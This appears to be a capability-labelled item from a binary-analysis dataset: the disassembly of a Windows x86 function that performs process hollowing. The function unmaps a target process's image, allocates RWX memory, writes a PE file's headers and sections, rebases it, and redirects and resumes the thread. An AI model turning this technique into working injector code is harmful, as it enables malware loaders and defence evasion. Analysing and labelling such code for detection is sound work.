Function at 0x40d936
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4fc
mov eax, dword [0x46a06c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x4e0], edx
push edi
push str.ntdll
mov dword [ebp - 0x4e4], esi
mov ebx, dword [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40d971
xor edi, edi
mov eax, edi
jmp 0x40d99d
push str.NtQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edi, edi
test eax, eax
je 0x40d96d
lea ecx, [ebp - 8]
mov dword [ebp - 8], edi
push ecx
push 0x18
lea ecx, [ebp - 0x28]
push ecx
push edi
push ebx
call eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 0x24]
push edi
push 0x1d8
lea ecx, [ebp - 0x4d0]
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x40de71
mov eax, dword [ebp - 0x4c8]
mov esi, dword [esi]
push 0x2000
mov dword [ebp - 8], eax
call fcn.0042ac18
mov ebx, eax
pop ecx
test ebx, ebx
je 0x40de71
push edi
push 0x2000
push ebx
push dword [ebp - 8]
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
mov esi, eax
call fcn.0042ae1c
pop ecx
test esi, esi
je 0x40de71
mov ebx, dword [ebp - 0x4e0]
push edi
push 7
push 4
push edi
push edi
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40da36
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push str.Error_opening__s__err:_d__r_n
call fcn.0040d860
add esp, 0xc
jmp 0x40de71
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
mov dword [ebp - 8], eax
call fcn.0042ac18
mov ebx, eax
mov dword [ebp - 0x4f4], ebx
pop ecx
test ebx, ebx
jne 0x40da60
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40de71
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], edi
push eax
push dword [ebp - 8]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40da80
push ebx
call fcn.0042ae1c
pop ecx
jmp 0x40da54
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebx + 0x3c]
push str.ntdll
mov dword [ebp - 0x4d4], ecx
movzx eax, word [ecx + ebx + 6]
mov edx, eax
mov dword [ebp - 0xc], eax
lea eax, [ecx + 0xf8]
mov dword [ebp - 0x4d8], edx
add eax, ebx
mov dword [ebp - 0x4dc], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [ebp - 0x4e4]
push dword [ebp - 0x4c8]
push dword [esi]
call eax
test eax, eax
je 0x40daf0
push ebx
call fcn.0042ae1c
mov dword [esp], str.Error_unmapping_section_r_n
call fcn.0040bcc0
jmp 0x40de70
mov eax, dword [ebp - 0x4d4]
push 0x40
push 0x3000
push dword [eax + ebx + 0x50]
push dword [ebp - 0x4c8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
jne 0x40db1e
push str.Error_VirtualAllocEx_ERROR___r_n
call fcn.0040bcc0
pop ecx
mov eax, dword [ebp - 0x4d4]
push dword [eax + ebx + 0x50]
push dword [ebp - 0x4c8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.VirtualAllocEx_success__d__p___p__d_r_n
call fcn.0040bcc0
mov eax, dword [ebp - 0x4d4]
push dword [ebp - 0x4c8]
mov ecx, dword [ebp - 0x4c8]
push dword [eax + ebx + 0x34]
sub ecx, dword [eax + ebx + 0x34]
push str.Source_image_base:_0x_p_r_nDestination_image_base:_0x_p_r_n
mov dword [ebp - 0x4e0], ecx
call fcn.0040bcc0
push dword [ebp - 0x4e0]
push str.Relocation_delta:_0x_p_r_n
call fcn.0040bcc0
mov edx, dword [ebp - 0x4d4]
mov eax, dword [ebp - 0x4c8]
push str.Writing_headers_r_n
mov dword [edx + ebx + 0x34], eax
call fcn.0040bcc0
mov eax, dword [ebp - 0x4d4]
add esp, 0x2c
push edi
push dword [eax + ebx + 0x54]
push ebx
push dword [ebp - 0x4c8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40de5f
xor eax, eax
mov ecx, edi
mov dword [ebp - 8], ecx
cmp ax, word [ebp - 0x4d8]
jae 0x40dc3e
mov eax, dword [ebp - 0x4dc]
mov edx, dword [ebp - 0xc]
add eax, 0x14
mov dword [ebp - 0x4d8], eax
cmp dword [eax], edi
je 0x40dc2d
mov esi, dword [eax - 8]
add eax, 0xffffffec
add esi, dword [ebp - 0x4c8]
push esi
push eax
push str.Writing__s_section_to_0x_p_r_n
call fcn.0040bcc0
mov eax, dword [ebp - 0x4d8]
add esp, 0xc
push edi
push dword [eax - 4]
mov eax, dword [eax]
add eax, ebx
push eax
push esi
mov esi, dword [ebp - 0x4e4]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x40de5f
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
inc ecx
add eax, 0x28
mov dword [ebp - 8], ecx
mov dword [ebp - 0x4d8], eax
cmp ecx, edx
jb 0x40dbdc
cmp dword [ebp - 0x4e0], 0
je 0x40ddb3
mov eax, dword [ebp - 0xc]
mov edx, edi
mov dword [ebp - 8], edx
test eax, eax
je 0x40ddb3
mov ecx, dword [ebp - 0x4dc]
cmp dword [ecx], 0x6c65722e
jne 0x40dc74
cmp word [ecx + 4], 0x636f
je 0x40dc84
mov eax, dword [ebp - 0xc]
inc edx
add ecx, 0x28
mov dword [ebp - 8], edx
cmp edx, eax
jb 0x40dc61
jmp 0x40ddb3
push str.Rebasing_image_r_n
call fcn.0040bcc0
imul eax, dword [ebp - 8], 0x28
mov edx, dword [ebp - 0x4d4]
pop ecx
mov ecx, dword [ebp - 0x4dc]
mov eax, dword [eax + ecx + 0x14]
mov ecx, edi
mov dword [ebp - 8], eax
mov eax, dword [edx + ebx + 0xa4]
mov dword [ebp - 0x4e4], eax
test eax, eax
je 0x40ddb3
mov edx, dword [ebp - 8]
add edx, ebx
mov ebx, eax
mov dword [ebp - 0x4f8], edx
lea eax, [edx + ecx]
add ecx, 8
mov dword [ebp - 0x4e8], eax
mov eax, dword [eax + 4]
sub eax, 8
lea edx, [edx + ecx]
shr eax, 1
mov dword [ebp - 0x4d8], edx
mov edx, edi
mov dword [ebp - 8], eax
mov dword [ebp - 0x4dc], edx
je 0x40dd9f
mov ebx, dword [ebp - 0x4e0]
lea ecx, [ecx + eax*2]
mov dword [ebp - 0x4f0], ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0xc], 0x1000
movzx ecx, word [ecx + edx*2]
cmp cx, word [ebp - 0xc]
jb 0x40dd84
mov eax, dword [ebp - 0x4e8]
and ecx, 0xfff
push edi
push 4
mov dword [ebp - 0xc], edi
add ecx, dword [eax]
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x4c8]
add eax, ecx
mov dword [ebp - 0x4ec], ecx
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
add dword [ebp - 0xc], ebx
lea eax, [ebp - 0xc]
push edi
push 4
push eax
mov eax, dword [ebp - 0x4c8]
add eax, dword [ebp - 0x4ec]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40dd7b
push str.Error_writing_memory_r_n
call fcn.0040bcc0
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [ebp - 8]
inc edx
mov dword [ebp - 0x4dc], edx
cmp edx, eax
jb 0x40dd07
mov ecx, dword [ebp - 0x4f0]
mov ebx, dword [ebp - 0x4e4]
mov edx, dword [ebp - 0x4f8]
cmp ecx, ebx
jb 0x40dcca
mov ebx, dword [ebp - 0x4f4]
mov ecx, dword [ebp - 0x4d4]
push ebx
mov edi, dword [ecx + ebx + 0x28]
add edi, dword [ebp - 0x4c8]
call fcn.0042ae1c
mov dword [ebp - 0x2f8], 0x10002
mov dword [esp], str.Getting_thread_context_r_n
call fcn.0040bcc0
pop ecx
lea eax, [ebp - 0x2f8]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x40ddfe
push str.Error_getting_context_r_n
jmp 0x40dae6
push str.Setting_thread_context_r_n
mov dword [ebp - 0x248], edi
call fcn.0040bcc0
pop ecx
lea eax, [ebp - 0x2f8]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x40de2d
push str.Error_setting_context_r_n
jmp 0x40dae6
push str.Resuming_thread_r_n
call fcn.0040bcc0
pop ecx
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jne 0x40de4f
push str.Error_resuming_thread_r_n
jmp 0x40dae6
push str.Process_hollowing_complete_r_n
call fcn.0040bcc0
xor eax, eax
pop ecx
inc eax
jmp 0x40de73
push str.Error_writing_process_memory_r_n
call fcn.0040bcc0
push ebx
call fcn.0042ae1c
pop ecx
pop ecx
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042aba6
leave
ret